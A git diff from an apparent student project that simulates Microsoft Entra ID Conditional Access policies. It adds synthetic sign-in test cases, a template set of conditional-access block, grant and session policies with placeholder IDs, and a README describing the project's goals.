"browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IR", + "Platform": "android", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "CN", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "CN", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "FR", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "SE", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "BE", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "CN", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IT", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "IR", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "SY", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "FR", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "KP", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "KP", + "Platform": "android", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + } +] \ No newline at end of file diff --git a/CSTijgers/DCToolbox-main/conditional-access-design-version-14.json b/CSTijgers/DCToolbox-main/conditional-access-design-version-14.json new file mode 100644 index 0000000..49e01e2 --- /dev/null +++ b/CSTijgers/DCToolbox-main/conditional-access-design-version-14.json @@ -0,0 +1,1186 @@ +[ + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "exchangeActiveSync", + "other" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 101 - BLOCK - Legacy Authentication", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "authenticationFlows": { + "transferMethods": "deviceCodeFlow,authenticationTransfer" + }, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 102 - BLOCK - Device Code Auth Flow", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": { + "includePlatforms": [ + "all" + ], + "excludePlatforms": [ + "android", + "iOS", + "windows", + "macOS" + ] + }, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 103 - BLOCK - Unsupported Device Platforms", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "locations": { + "excludeLocations": [ + "REPLACE WITH ALLOWED COUNTRIES NAMED LOCATION ID" + ], + "includeLocations": [ + "All" + ] + }, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 104 - BLOCK - Countries not Allowed", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "locations": { + "excludeLocations": [ + "REPLACE WITH SERVICE ACCOUNT TRUSTED NAMED LOCATION ID" + ], + "includeLocations": [ + "All" + ] + }, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [ + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 105 - BLOCK - Service Accounts (Trusted Locations Excluded)", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "None" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 106 - BLOCK - Explicitly Blocked Cloud Apps", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": { + "externalTenants": { + "membershipKind": "all", + "@odata.type": "#microsoft.graph.conditionalAccessAllExternalTenants" + }, + "guestOrExternalUserTypes": "internalGuest,b2bCollaborationGuest,b2bCollaborationMember,b2bDirectConnectUser,otherExternalUser,serviceProvider" + }, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "MicrosoftAdminPortals", + "797f4846-ba00-4fd7-ba43-dac1f8f63013" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 107 - BLOCK - Guest Access to Sensitive Apps", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [ + "high" + ] + }, + "displayName": "GLOBAL - 108 - BLOCK - High-Risk Sign-Ins", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [ + "high" + ], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 109 - BLOCK - High-Risk Users", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "block" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [ + "medium" + ] + }, + "displayName": "GLOBAL - 201 - GRANT - Medium-Risk Sign-ins", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": { + "id": "00000000-0000-0000-0000-000000000002" + } + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [ + "medium" + ], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 202 - GRANT - Medium-Risk Users", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": { + "id": "00000000-0000-0000-0000-000000000002" + } + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [ + "urn:user:registerdevice" + ], + "includeApplications": [], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 203 - GRANT - Device Registration", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": { + "id": "00000000-0000-0000-0000-000000000002" + } + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID", + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeRoles": [ + "d29b2b05-8046-44ba-8758-1e26182fcf32" + ], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 204 - GRANT - Terms of Use", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [ + "30dc641e-326e-4574-b788-8cd2ae54316f" + ], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID", + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeRoles": [ + "d29b2b05-8046-44ba-8758-1e26182fcf32" + ], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [ + "0000000a-0000-0000-c000-000000000000" + ], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 205 - GRANT - MFA for All Users", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": { + "id": "00000000-0000-0000-0000-000000000002" + } + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID", + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeRoles": [ + "d29b2b05-8046-44ba-8758-1e26182fcf32" + ], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "mobileAppsAndDesktopClients" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 206 - GRANT - Mobile Apps and Desktop Clients", + "state": "disabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "compliantDevice" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": null, + "conditions": { + "platforms": { + "includePlatforms": [ + "android", + "iOS" + ], + "excludePlatforms": [] + }, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID", + "REPLACE WITH SERVICE ACCOUNT GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "mobileAppsAndDesktopClients" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [ + "0000000a-0000-0000-c000-000000000000" + ], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 207 - GRANT - Mobile Device Access Requirements", + "state": "enabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "compliantApplication" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + }, + { + "sessionControls": { + "signInFrequency": { + "frequencyInterval": "timeBased", + "type": "hours", + "value": 9, + "isEnabled": true, + "authenticationType": "primaryAndSecondaryAuthentication" + }, + "cloudAppSecurity": null, + "secureSignInSession": null, + "disableResilienceDefaults": null, + "applicationEnforcedRestrictions": null, + "persistentBrowser": { + "mode": "never", + "isEnabled": true + }, + "continuousAccessEvaluation": null + }, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [ + "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", + "0526716b-113d-4c15-b2c8-68e3c22b9f80", + "158c047a-c907-4556-b7ef-446551a6b5f7", + "17315797-102d-40b4-93e0-432062caca18", + "e6d1a23a-da11-4be4-9570-befc86d067a7", + "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", + "62e90394-69f5-4237-9190-012177145e10", + "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", + "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", + "e8611ab8-c189-46e8-94e1-60213ab1f814", + "194ae4cb-b126-40b2-bd5b-6091b380977d" + ] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 301 - SESSION - Admin Persistence", + "state": "enabled", + "templateId": null, + "grantControls": null + }, + { + "sessionControls": { + "signInFrequency": { + "frequencyInterval": "timeBased", + "type": "hours", + "value": 9, + "isEnabled": true, + "authenticationType": "primaryAndSecondaryAuthentication" + }, + "cloudAppSecurity": null, + "secureSignInSession": null, + "disableResilienceDefaults": null, + "applicationEnforcedRestrictions": null, + "persistentBrowser": { + "mode": "never", + "isEnabled": true + }, + "continuousAccessEvaluation": null + }, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": { + "excludeDevices": [], + "excludeDeviceStates": [], + "includeDevices": [], + "includeDeviceStates": [], + "deviceFilter": { + "mode": "exclude", + "rule": "device.isCompliant -eq True" + } + }, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "All" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 302 - SESSION - BYOD Persistence", + "state": "enabled", + "templateId": null, + "grantControls": null + }, + { + "sessionControls": { + "signInFrequency": { + "frequencyInterval": "everyTime", + "type": null, + "value": null, + "isEnabled": true, + "authenticationType": "primaryAndSecondaryAuthentication" + }, + "cloudAppSecurity": null, + "secureSignInSession": null, + "disableResilienceDefaults": null, + "applicationEnforcedRestrictions": null, + "persistentBrowser": null, + "continuousAccessEvaluation": null + }, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [ + "urn:user:registersecurityinfo" + ], + "includeApplications": [], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 303 - SESSION - Register Security Info Requirements", + "state": "enabled", + "templateId": null, + "grantControls": null + }, + { + "sessionControls": { + "signInFrequency": null, + "cloudAppSecurity": null, + "secureSignInSession": null, + "disableResilienceDefaults": null, + "applicationEnforcedRestrictions": { + "isEnabled": true + }, + "persistentBrowser": null, + "continuousAccessEvaluation": null + }, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": { + "excludeDevices": [], + "excludeDeviceStates": [], + "includeDevices": [], + "includeDeviceStates": [], + "deviceFilter": { + "mode": "exclude", + "rule": "device.isCompliant -eq True" + } + }, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "00000003-0000-0ff1-ce00-000000000000" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 304 - SESSION - Block File Downloads On Unmanaged Devices", + "state": "enabled", + "templateId": null, + "grantControls": null + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "None" + ], + "excludeUsers": [], + "excludeGroups": [], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "None" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "OVERRIDE - 001 - GRANT - Example", + "state": "disabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "mfa" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + } +] \ No newline at end of file diff --git a/CSTijgers/README.md b/CSTijgers/README.md new file mode 100644 index 0000000..4bbbf9b --- /dev/null +++ b/CSTijgers/README.md @@ -0,0 +1,37 @@ +# CSTijgers +# ENTRA ID Conditional Access Policy Simulator + +## Project Overview +This project aims to develop a simulator to evaluate conditional access (CA) policies. The simulator will help identify vulnerability gaps in the policies, test them using test cases, and visualize the policy set. + + +## Project Period +**Fall (September-January)** + +## Key Steps +1. **Environment Setup:** + - Set up a trial Entra ID tenant and create CA policies. +2. **Build Toolbox:** + - Export policies from the Entra ID tenant. + - Evaluate test cases against a policy set. + - Generate conditions that do not hit any policy in the set. + - Generate summarized descriptions for each policy. + - Visualize the policy set. +3. **Present Results:** + - Present findings and results. + +## Deliverables +- Initial Plan +- Mid-term Report(s) +- Final Report +- Two presentations at school +- A software solution with source code and a demo + +## Special Notes +- Review partial solutions available on GitHub before starting. +- The toolbox should be usable from GitHub Actions workflows for automated testing and documentation generation. +- For debugging a parameter called 'ToggleVerbosePrinting' can be enabled in the code for extra command line printing + +--- + +*This project is part of the HBO-ICT CST / IT&Design program at The Hague University of Applied Sciences.* From 2a491a5ce2f5a3c078705f5683a2a6dd7f64c9a6 Mon Sep 17 00:00:00 2001 From: CoenZ-tijger 